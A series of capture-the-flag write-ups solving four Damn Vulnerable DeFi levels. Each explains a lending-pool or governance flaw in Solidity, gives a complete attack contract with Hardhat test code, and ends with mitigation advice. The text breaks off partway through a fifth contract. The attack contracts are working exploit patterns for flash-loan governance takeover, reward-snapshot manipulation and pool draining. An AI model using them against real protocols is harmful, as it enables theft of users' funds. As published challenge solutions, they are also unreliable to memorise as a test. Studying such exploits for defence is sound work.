In the Selfie challenge, we simply have to drain all the 1.5 million DVT tokens from the new lending pool. Cool!

See the contracts

The Contracts

Note: I have removed some non-relevant parts for clarity.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./SimpleGovernance.sol";

contract SelfiePool is ReentrancyGuard, IERC3156FlashLender {
    ERC20Snapshot public immutable token;
    SimpleGovernance public immutable governance;
    bytes32 private constant CALLBACK_SUCCESS =
        keccak256("ERC3156FlashBorrower.onFlashLoan");

    error RepayFailed();
    error CallerNotGovernance();
    error CallbackFailed();

    modifier onlyGovernance() {
        if (msg.sender != address(governance)) revert CallerNotGovernance();
        _;
    }

    constructor(address _token, address _governance) {
        token = ERC20Snapshot(_token);
        governance = SimpleGovernance(_governance);
    }

    function maxFlashLoan(address _token) external view returns (uint256) {
        if (address(token) == _token) return token.balanceOf(address(this));
        return 0;
    }

    function flashLoan(
        IERC3156FlashBorrower _receiver,
        address _token,
        uint256 _amount,
        bytes calldata _data
    ) external nonReentrant returns (bool) {
        if (_token != address(token)) revert UnsupportedCurrency();

        token.transfer(address(_receiver), _amount);
        if (
            _receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) !=
            CALLBACK_SUCCESS
        ) revert CallbackFailed();

        if (!token.transferFrom(address(_receiver), address(this), _amount))
            revert RepayFailed();

        return true;
    }

    function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableTokenSnapshot.sol";
import "./ISimpleGovernance.sol";

contract SimpleGovernance is ISimpleGovernance {
    uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days;
    DamnValuableTokenSnapshot private _governanceToken;
    uint256 private _actionCounter;
    mapping(uint256 => GovernanceAction) private _actions;

    constructor(address governanceToken) {
        _governanceToken = DamnValuableTokenSnapshot(governanceToken);
        _actionCounter = 1;
    }

    function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
        if (!_hasEnoughVotes(msg.sender))
            revert NotEnoughVotes(msg.sender);

        if (target == address(this))
            revert InvalidTarget();

        if (data.length > 0 && target.code.length == 0)
            revert TargetMustHaveCode();

        actionId = _actionCounter;

        _actions[actionId] = GovernanceAction({
            target: target,
            value: value,
            proposedAt: uint64(block.timestamp),
            executedAt: 0,
            data: data
        });

        unchecked { _actionCounter++; }

        emit ActionQueued(actionId, msg.sender);
    }

    function executeAction(uint256 actionId) external payable returns (bytes memory) {
        if(!_canBeExecuted(actionId))
            revert CannotExecute(actionId);

        GovernanceAction storage actionToExecute = _actions[actionId];
        actionToExecute.executedAt = uint64(block.timestamp);

        emit ActionExecuted(actionId, msg.sender);

        (bool success, bytes memory returndata) = actionToExecute.target.call{value: actionToExecute.value}(actionToExecute.data);
        if (!success) {
            if (returndata.length > 0) {
                assembly {
                    revert(add(0x20, returndata), mload(returndata))
                }
            } else {
                revert ActionFailed(actionId);
            }
        }

        return returndata;
    }

    /**
     * @dev an action can only be executed if:
     * 1) it's never been executed before and
     * 2) enough time has passed since it was first proposed
     */
    function _canBeExecuted(uint256 actionId) private view returns (bool) {
        GovernanceAction memory actionToExecute = _actions[actionId];

        if (actionToExecute.proposedAt == 0) // early exit
            return false;

        uint64 timeDelta;
        unchecked {
            timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
        }

        return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
    }

    function _hasEnoughVotes(address who) private view returns (bool) {
        uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
        uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }
}

1. The SeliePool is the contract to exploit. It can emit flashloans.

2. The SimpleGovernance allows to execute some actions on the SelfiePool contract if the proposal passes (has enough votes).

The Hack

When looking at the contracts, something should come to mind pretty fast. A flash loan sounds like a good way to get a lot of votes and approve whatever proposal we want! Let's see if this is possible in this case.

1. The Idea

In the SelfiePool, in addition to the flashLoan() function, there is this function that looks especially fishy:

 function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }

This seems like a perfect way to drain the contract all at once. With an arbitrary recipient on top of that! Greatm we have a plan. However, you may have noticed the onlyGovernance modifier (it wouldn't be a challenge otherwise).

modifier onlyGovernance() {
        if (msg.sender != address(governance)) revert CallerNotGovernance();
        _;
    }

This modifier requires that the msg.sender is the governance contract. In other words, we have to call this function from the governance contract. This leads back to our idea of taking a flashloan to pass a proposal. A proposal that would trigger the emergencyExit() function... with our address for instance.

2. The execution

Let's see how we could execute our plan concretely. To queue an action, we must have enough votes. This makes sense.

function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
        if (!_hasEnoughVotes(msg.sender))
            revert NotEnoughVotes(msg.sender);
        ...
    }

So how are the votes calculated? Let's check the private function to see if we can manipulate the votes.

function _hasEnoughVotes(address who) private view returns (bool) {
        uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
        uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }

To have enough votes, we need to have more than half the supply of tokens. Basically, the votes are calculated based on your token's balance as follows:

• 1 token == 1 vote.

So a flashloan is indeed a perfect way to get the votes required and queue a proposal! We should have more than enough votes to pass this requirement if we borrow the maxFlashLoan() from the SelfiePool.

Let's see the rest of the function to queue an action:

function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
        //...
        // OK - We won't call this contract
        if (target == address(this))
            revert InvalidTarget();

        // OK - If we pass data, we must call a contract (SelfiePool)
        if (data.length > 0 && target.code.length == 0)
            revert TargetMustHaveCode();

        // OK - We are good to go :)
        actionId = _actionCounter;

        _actions[actionId] = GovernanceAction({
            target: target,
            value: value,
            proposedAt: uint64(block.timestamp),
            executedAt: 0,
            data: data
        });

        unchecked { _actionCounter++; }

        emit ActionQueued(actionId, msg.sender);
    }

So, thanks to the flashloan, we will be able to queue an action on the governance contract. When it will be exectuted, it will call the SelfiePool contract, and the msg.sender will be the SimpleGovernance. That will allow us to trigger the emergencyExit() function and beat the level.

There is just one thing we must remember to do before starting to execute our plan: the ERC20 token has a snapshot mechanism. So in order for the _hasEnoughVotes() to pass, we have to trigger a snapshot right after receiving the loan, otherwise this line won't pass:

uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;

Luckily enough, if you check the DamnValuableTokenSnapshot token contract, the snapshot() function is a public function that anyone can trigger.

function snapshot() public returns (uint256 lastSnapshotId) {
        lastSnapshotId = _snapshot();
        _lastSnapshotId = lastSnapshotId;
    }

So we now have all the pieces we need to solve the Selfie level. Let's put them in order.

Solution

We can implement the contract that will trigger the loan and queue a governance action as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ISimpleGovernance} from "../selfie/ISimpleGovernance.sol";

interface ISelfiePool {
    function flashLoan(
        address _receiver,
        address _token,
        uint256 _amount,
        bytes calldata _data
    ) external returns (bool);

    function emergencyExit(address receiver) external;
}

interface IGovToken {
    function snapshot() external returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract Attack6 {
    ISimpleGovernance private immutable simpleGovernance;
    ISelfiePool private immutable selfiePool;
    IGovToken public immutable governanceToken;
    address private immutable player;

    constructor(
        address _simpleGovernance,
        address _selfiePool,
        address _governanceToken,
        address _player
    ) {
        simpleGovernance = ISimpleGovernance(_simpleGovernance);
        selfiePool = ISelfiePool(_selfiePool);
        governanceToken = IGovToken(_governanceToken);
        player = _player;
    }

    function attack() external {
        uint256 amount = governanceToken.balanceOf(address(selfiePool));
        selfiePool.flashLoan(
            address(this),
            address(governanceToken),
            amount,
            ""
        );
    }

    function onFlashLoan(
        address,
        address,
        uint256 amount,
        uint256,
        bytes calldata
    ) external returns (bytes32) {
        governanceToken.snapshot();
        governanceToken.approve(address(selfiePool), amount);

        simpleGovernance.queueAction(
            address(selfiePool),
            0,
            abi.encodeWithSignature("emergencyExit(address)", player)
        );

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

Here is the flow:

• Request a flashloan of the maximum amount;

• In the onFlashLoan() callback function, take a snapshot;

• Then, approve the SelfiePool to grab the token so we can repay the loan (the function would revert otherwise);

• Queue an action in the governance contract with the emergencyExit(address) as data, and our address as arguments;

• Return the expected hash to the SelfiePool;

At this point, we will have queued our malicious actions in the governance and repaid the loan. However, to pass the level, we still have to wait for the delay, and then execute the governance action. We will continue the flow in the selfie.challenge.js test file.

it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    const Attack6 = await ethers.getContractFactory("Attack6", deployer);
    const attack6 = await Attack6.deploy(
      governance.address,
      pool.address,
      token.address,
      player.address
    );

    await attack6.attack();

    const twoDaysTime = 2 * 24 * 60 * 60; // Increase time cheat code
    await time.increase(twoDaysTime);

    await governance.executeAction(1);
  });

After increasing the time by two days, we can finally execute the emergencyExit():

await governance.executeAction(1);

Let's run the test with the following command:

yarn selfie

And we get the following printed in the terminal:

Congrats! You just beat the level 6 - Selfie - of Damn Vulnerable DeFi.

🎉 Level completed 🎉

Takeaway

Multiple approaches could have been taken to mitigate this exploit:

• Access control for the snapshot() function;

• No arbitrary address for the emergencyExit()! Just hardcode an address, and add a function to update the address if needed, with proper access control of course.

• The votes calculation is far from ideal here. Some guards against tokens received via flash loans could have been implemented.

• Prefer well-known and battle-tested libraries like OpenZeppelin Governance when possible.

You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions

In the The Rewarder challenge, we have to claim all the rewards from the next distribution round, despite having no DVT tokens. A hint points us at a new flashloan pool...

See the contracts

The Contracts

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solady/src/utils/FixedPointMathLib.sol";
import "solady/src/utils/SafeTransferLib.sol";
import {RewardToken} from "./RewardToken.sol";
import {AccountingToken} from "./AccountingToken.sol";

/**
 * @title TheRewarderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TheRewarderPool {
    using FixedPointMathLib for uint256;

    // Minimum duration of each round of rewards in seconds
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
    uint256 public constant REWARDS = 100 ether;

    // Token deposited into the pool by users
    address public immutable liquidityToken;

    // Token used for internal accounting and snapshots
    // Pegged 1:1 with the liquidity token
    AccountingToken public immutable accountingToken;

    // Token in which rewards are issued
    RewardToken public immutable rewardToken;

    uint128 public lastSnapshotIdForRewards;
    uint64 public lastRecordedSnapshotTimestamp;
    uint64 public roundNumber; // Track number of rounds
    mapping(address => uint64) public lastRewardTimestamps;

    error InvalidDepositAmount();

    constructor(address _token) {
        // Assuming all tokens have 18 decimals
        liquidityToken = _token;
        accountingToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    /**
     * @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange.
     *         Also distributes rewards if available.
     * @param amount amount of tokens to be deposited
     */
    function deposit(uint256 amount) external {
        if (amount == 0) {
            revert InvalidDepositAmount();
        }

        accountingToken.mint(msg.sender, amount);
        distributeRewards();

        SafeTransferLib.safeTransferFrom(
            liquidityToken,
            msg.sender,
            address(this),
            amount
        );
    }

    function withdraw(uint256 amount) external {
        accountingToken.burn(msg.sender, amount);
        SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount);
    }

    function distributeRewards() public returns (uint256 rewards) {
        if (isNewRewardsRound()) {
            _recordSnapshot();
        }

        uint256 totalDeposits = accountingToken.totalSupplyAt(
            lastSnapshotIdForRewards
        );
        uint256 amountDeposited = accountingToken.balanceOfAt(
            msg.sender,
            lastSnapshotIdForRewards
        );

        if (amountDeposited > 0 && totalDeposits > 0) {
            rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
            if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
            }
        }
    }

    function _recordSnapshot() private {
        lastSnapshotIdForRewards = uint128(accountingToken.snapshot());
        lastRecordedSnapshotTimestamp = uint64(block.timestamp);
        unchecked {
            ++roundNumber;
        }
    }

    function _hasRetrievedReward(address account) private view returns (bool) {
        return (lastRewardTimestamps[account] >=
            lastRecordedSnapshotTimestamp &&
            lastRewardTimestamps[account] <=
            lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION);
    }

    function isNewRewardsRound() public view returns (bool) {
        return
            block.timestamp >=
            lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
 * @title FlashLoanerPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @dev A simple pool to get flashloans of DVT
 */
contract FlashLoanerPool is ReentrancyGuard {
    using Address for address;

    DamnValuableToken public immutable liquidityToken;

    error NotEnoughTokenBalance();
    error CallerIsNotContract();
    error FlashLoanNotPaidBack();

    constructor(address liquidityTokenAddress) {
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
    }

    function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));

        if (amount > balanceBefore) {
            revert NotEnoughTokenBalance();
        }

        if (!msg.sender.isContract()) {
            revert CallerIsNotContract();
        }

        liquidityToken.transfer(msg.sender, amount);

        msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount));

        if (liquidityToken.balanceOf(address(this)) < balanceBefore) {
            revert FlashLoanNotPaidBack();
        }
    }
}

1. The TheRewarderPool is the contract to exploit. It emits rewards every 5 days based on your liquidity shares (the more shares, the more rewards).

2. The FlashLoanerPool allows us to take a flashloan of DVT token (sounds like what we need!) and uses the receiveFlashLoan as a callback after transferring the token to the receiver.

On top of that, we also have the two following token contracts:

• AccountingToken is a limited pseudo-ERC20 token to keep track of deposits and withdrawals with snapshot capabilities.

• RewardToken is a classic ERC20 token emitted as a rewards. Its mint function inherits from the onlyRoles modifier from the Solady library.

The Hack

This solution is fairly easy in The Rewarder, but it requires to understand and handle two things separately:

1. Understand how the distributeRewards() function works, and why it is bad!

2. Keep track of time spent, so we can act at a very specific time.

1. Exploiting the distributeRewards() function

Let's explore this function a bit more.

function distributeRewards() public returns (uint256 rewards) {
        if (isNewRewardsRound()) {
            _recordSnapshot();
        }

        uint256 totalDeposits = accountingToken.totalSupplyAt(
            lastSnapshotIdForRewards
        );
        uint256 amountDeposited = accountingToken.balanceOfAt(
            msg.sender,
            lastSnapshotIdForRewards
        );

        if (amountDeposited > 0 && totalDeposits > 0) {
            rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
            if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
            }
        }
    }

There are two issues in this function, which will allow us to cheat on the next distribution. Can you see them?

The first problem lies at the very beginning of the function:

if (isNewRewardsRound()) {
    _recordSnapshot();
}

This means that, after the 5-days period is over, the first user that will request a rewards distribution will also trigger the snapshot for this entire 5-days period. So what if we trigger the distributeRewards() function ourselves? Even though the period is over, we could still craft an attack to deposit some tokens triggering the distribution a the same time (the distributeRewards() is called in the deposit() function), and get some rewards! While this is not ideal, it wouldn't be such a big issue if it wasn't combine with the second problem...

The second problem is the shares calculation itself.

uint256 totalDeposits = accountingToken.totalSupplyAt(
     lastSnapshotIdForRewards
);
uint256 amountDeposited = accountingToken.balanceOfAt(
      msg.sender,
      lastSnapshotIdForRewards
);

The shares should take into account the amount of time the token have been deposited for, and not only the amount of tokens. This is a well known issue in DeFi. Without accounting for deposit duration, you expose yourself (and your users) to shares manipulation, like the one we are about to do :)

So, thanks to those 2 issues combined, we will be able to take the biggest possible flashloan of DVT tokens, deposit them into the pool, trigger the rewards distribution, cash out almost all rewards to ourselves, withdraw the tokens and finally, repay the loan! Easy Peasy!

2. Keeping track of the time

We know that the TheRewarderPool is distributing rewards every 5 days. In order to execute our attack, we will have to act as soon as the current period is over, to make sure that we are the first user to call the distributeRewards() function.

If we check the deployment file provided in the test folder (the-rewarder-challenge.js), we can see that the previous distribution just happened:

// ...
    // Advance time 5 days so that depositors can get rewards
    await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days

    // Each depositor gets reward tokens
    let rewardsInRound = await rewarderPool.REWARDS();
    for (let i = 0; i < users.length; i++) {
      await rewarderPool.connect(users[i]).distributeRewards();
      expect(await rewardToken.balanceOf(users[i].address)).to.be.eq(
        rewardsInRound.div(users.length)
      );
    }
// ...

So we will need to act at the next round of distributions in exactly 5 days.

Since this is not a "real scenario" on the mainnet, we can take advantage of the helper function evm_increaseTime provided by hardhat. This will allow us to launch our attack exactly when needed.

await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days

Solution

Now that we know exactly what to do , let's implement the malicious contract that will allow us to exploit The Rewarder challenge.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IRewardPool {
    function deposit(uint256 amount) external;
    function withdraw(uint256 amount) external;
    function distributeRewards() external returns (uint256 rewards);
    function isNewRewardsRound() external view returns (bool);
}

interface IFlashLoanPool {
    function flashLoan(uint256 amount) external;
}

contract Attack5 {
    IFlashLoanPool private immutable flashLoanPool;
    IRewardPool private immutable rewardPool;
    IERC20 public immutable liquidityToken;
    IERC20 public immutable rewardToken;
    address private immutable player;

    constructor(
        address _flashLoanPool,
        address _rewardPool,
        address _liquidityToken,
        address _rewardToken,
        address _player
    ) {
        flashLoanPool = IFlashLoanPool(_flashLoanPool);
        rewardPool = IRewardPool(_rewardPool);
        liquidityToken = IERC20(_liquidityToken);
        rewardToken = IERC20(_rewardToken);
        player = _player;
    }

    function attack() external {
        uint256 amount = liquidityToken.balanceOf(address(flashLoanPool));
        flashLoanPool.flashLoan(amount);

        // Withdraw rewards
        uint256 rewards = rewardToken.balanceOf(address(this));
        rewardToken.transfer(player, rewards);
    }

    function receiveFlashLoan(uint256 amount) external {
        // Approve and Deposit
        liquidityToken.approve(address(rewardPool), amount);
        rewardPool.deposit(amount);

        // Withdraw and Repay loan
        rewardPool.withdraw(amount);
        liquidityToken.transfer(address(flashLoanPool), amount);
    }
}

Here are all the steps in the correct order:

• Request a flashloan of the maximum amount;

• In the callback function, approve the liquidityToken;

• Then, deposit the whole amount into the pool (triggering the distributeRewards() function!);

• Withdraw the tokens from the pool;

• Repay the loan;

• Transfer the tokens from the malicious contract to the player;

Next, we have to edit the the-rewarder.challenge.js page so it can handle the execution for us:

it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    const fiveDaysTime = 5 * 24 * 60 * 60;
    await time.increase(fiveDaysTime);

    const isNewRewardRound = await rewarderPool.isNewRewardsRound();
    console.log("isNewRewardRound?", isNewRewardRound);

    const Attack5 = await ethers.getContractFactory("Attack5", deployer);
    const attack5 = await Attack5.deploy(
      flashLoanPool.address,
      rewarderPool.address,
      liquidityToken.address,
      rewardToken.address,
      player.address
    );

    await attack5.attack();
});

Finally, we can run the test with the following command:

yarn the-rewarder

And we get the following printed in the terminal:

Congrats! You just beat the level 5 - The Rewarder - of Damn Vulnerable DeFi.

🎉 Level completed 🎉

Takeaway

• Always account for time duration when calculating shares.

• Use the ERC-4626 Tokenized Vault Standard

You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions

In the Side Entrance challenge, we have to steal all the ETH from the pool. Flashloans are free, and we start with 1 ETH.

See the contracts

The Contracts

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    mapping(address => uint256) private balances;

    error RepayFailed();

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];

        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }
}

Ok, another flash loan pool to hack here. The SideEntranceLenderPool contract is fairly short with only 3 functions: deposit(), withdraw(), and flashloan().

The contract inherits the SafeTransferLib from Solady.

The Hack

This is a funny one, nothing complicated, no need to craft complex calldata and play with memory pointers, it is all about visualizing each step and the money flow.

Let's detail the 3 functions that we have at our disposal.

The deposit() function is pretty straightforward, it increases the balance of msg.sender by msg.value and emits an event.

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

Unsurprisingly, the withdraw() function works the way around, sending back the whole balance to msg.sender. The CEI is respected, the transfer is made via the safeTransferETH() function, and an event is emitted. Looks pretty solid.

function withdraw() external {
        uint256 amount = balances[msg.sender];

        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

Last one, the flashloan() function which allows us to borrow an arbitrary amount from the pool:

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }

The balance before is checked, and compared with the balance after. It is calling the execute() function as a callback to the flash loan receiver.

So, have you found the exploit yet?

Let's say that we request a flashloan for the total amount of ether in the pool. What could we do next? How could we drain this pool?

We will have to repay the loan somehow, because of the following check: if (address(this).balance < balanceBefore) revert RepayFailed(). But this check simply makes sure the contract's balance is equal to the contract's balance before the loan. What if we use the execute() callback to deposit the whole amount back via the deposit() function?

The RepayFailed() won't be triggered since the ETH will effectively be back to the contract. However, our balance will now be equal to the pool's balance! So after repaying the flashloan, we will just have to use the withdraw() function to get rich!

Solution

Let's implement the Side Entrance solution accordingly. We can craft a contract that will handle the logic as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IPool {
    function deposit() external payable;
    function withdraw() external;
    function flashLoan(uint256 amount) external;
}

contract Attack4 {
    IPool private immutable pool;
    address private immutable player;

    constructor(address _pool, address _player) {
        pool = IPool(_pool);
        player = _player;
    }

    receive() external payable {}

    function attack() external {
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
        (bool success, ) = player.call{value: address(this).balance}("");
        require(success, "Eth transfer failed");
    }

    function execute() external payable {
        pool.deposit{value: msg.value}();
    }
}

When the SideEntranceLenderPool will call the execute() function in our malicious contract, it will call the deposit() function back with the whole loan amount and complete the flashloan.

Next, we have to edit the side-entrance.challenge.js page so it will deploy our contract and launch the attack:

it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    const Attack4 = await ethers.getContractFactory("Attack4", deployer);
    const attack4 = await Attack4.deploy(pool.address, player.address);
    await attack4.attack();
  });

Finally, we can run the test with the following command:

yarn side-entrance

And we get the following printed in the terminal:

Congrats! You just beat the level 4 - Side Entrance - of Damn Vulnerable DeFi.

🎉 Level completed 🎉

Takeaway

• Making your contract work is not enough. It is crucial to look and account for all edge cases.

• The nonReentrant() modifier could have been used on all 3 functions to prevent any kind of reentrancy. Better safe than sorry!

You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions

In the Truster challenge, we have to drain 1 million DVT tokens from the flash loan pool. So pretty high stakes! Let's see how to achieve that.

See the contracts

The Contracts

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {
    using Address for address;

    DamnValuableToken public immutable token;

    error RepayFailed();

    constructor(DamnValuableToken _token) {
        token = _token;
    }

    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }
}

A much shorter code base this time!

Let's note that the contract inherits from Address.sol and ReentrancyGuard.sol from the OpenZeppelin library, so most likely nothing to exploit there. It also inherits from the DamnValuableToken.sol which is a very basic ERC20 token based on the solmate library.

The Hack

There is only one function in the TrusterLenderPool contract, so it seems quite fair to start there! What is happening exactly in the flashloan() function, and what could go wrong?

    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }

While the function does check the balance before and make sure the loan is repaid, the first thing that jumps out is THE LACK OF INPUTS VALIDATION! It is the third challenge in a row with the same mistake, so we most likely want to keep that in mind...

There really is only one interesting line here:

target.functionCall(data);

The functionCall() method comes from the inherited Address contract. Here it is for reference:

 /**
     * @dev Performs a Solidity function call using a low-level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {Errors.FailedCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

So what does it mean? What exactly can we do with that?

It means that we can make an external call to the target address with some custom data input. And it happens that our target address containing our 1 million DVT chest is this lending pool. So we are allowed to execute any function within the TrusterLenderPool context... which includes the inherited contract.

A decent knowledge of the ERC20 token standard is needed for what comes next. The ERC20 standard defines 2 ways to transfer tokens from one address to another:

1. transfer(address to, uint256 value) allows to move token that you own directly;

2. transferFrom(address from, address to, uint256 value) allows another address to move your tokens on your behalf. Since this is obviously dangerous, it requires an approval before the transfer can be executed.

When you do a token swap on Uniswap, you approve the Uniswap contract to execute the swap on your behalf and grab the tokens in your wallet.

In other words, we do not really need the loan to empty the Truster pool, we can't bypass the balance before/after checks anyway. However, we can use the data arguments to approve a malicious contract, and then trigger a transferFrom() to drain the pool!

Solution

Let's implement the Truster solution accordingly. We can craft a contract that will handle the logic as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IPool {
    function flashLoan(
        uint256 amount,
        address borrower,
        address target,
        bytes calldata data
    ) external returns (bool);
}

interface IToken {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

contract Attack3 {
    address private immutable pool;
    address private immutable player;
    IToken private immutable token;

    constructor(address _pool, address _player, address _token) {
        pool = _pool;
        player = _player;
        token = IToken(_token);
    }

    function attack() external {
        uint256 balance = token.balanceOf(pool);

        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(this),
            balance
        );

        IPool(pool).flashLoan(0, address(this), address(token), data);
        token.transferFrom(pool, player, balance);
    }
}

And edit the truster.challenge.js page as follows:

it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    const Attack3 = await ethers.getContractFactory("Attack3", deployer);
    const attack3 = await Attack3.deploy(
      pool.address,
      player.address,
      token.address
    );

    await attack3.attack();
  });

Then we can run the test with the following command:

yarn truster

And we get the following printed in the terminal:

Congrats! You just beat the level 3 of Damn Vulnerable DeFi.

🎉 Level completed 🎉

Takeaway

• Always validate all sensitive inputs before executing any logic (I think I already mentioned that in the previous challenge though...).

• Disable 0 amount.

You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Stake {
    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable {
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }

    function StakeWETH(uint256 amount) public returns (bool) {
        require(amount > 0.001 ether, "Don't be cheap");
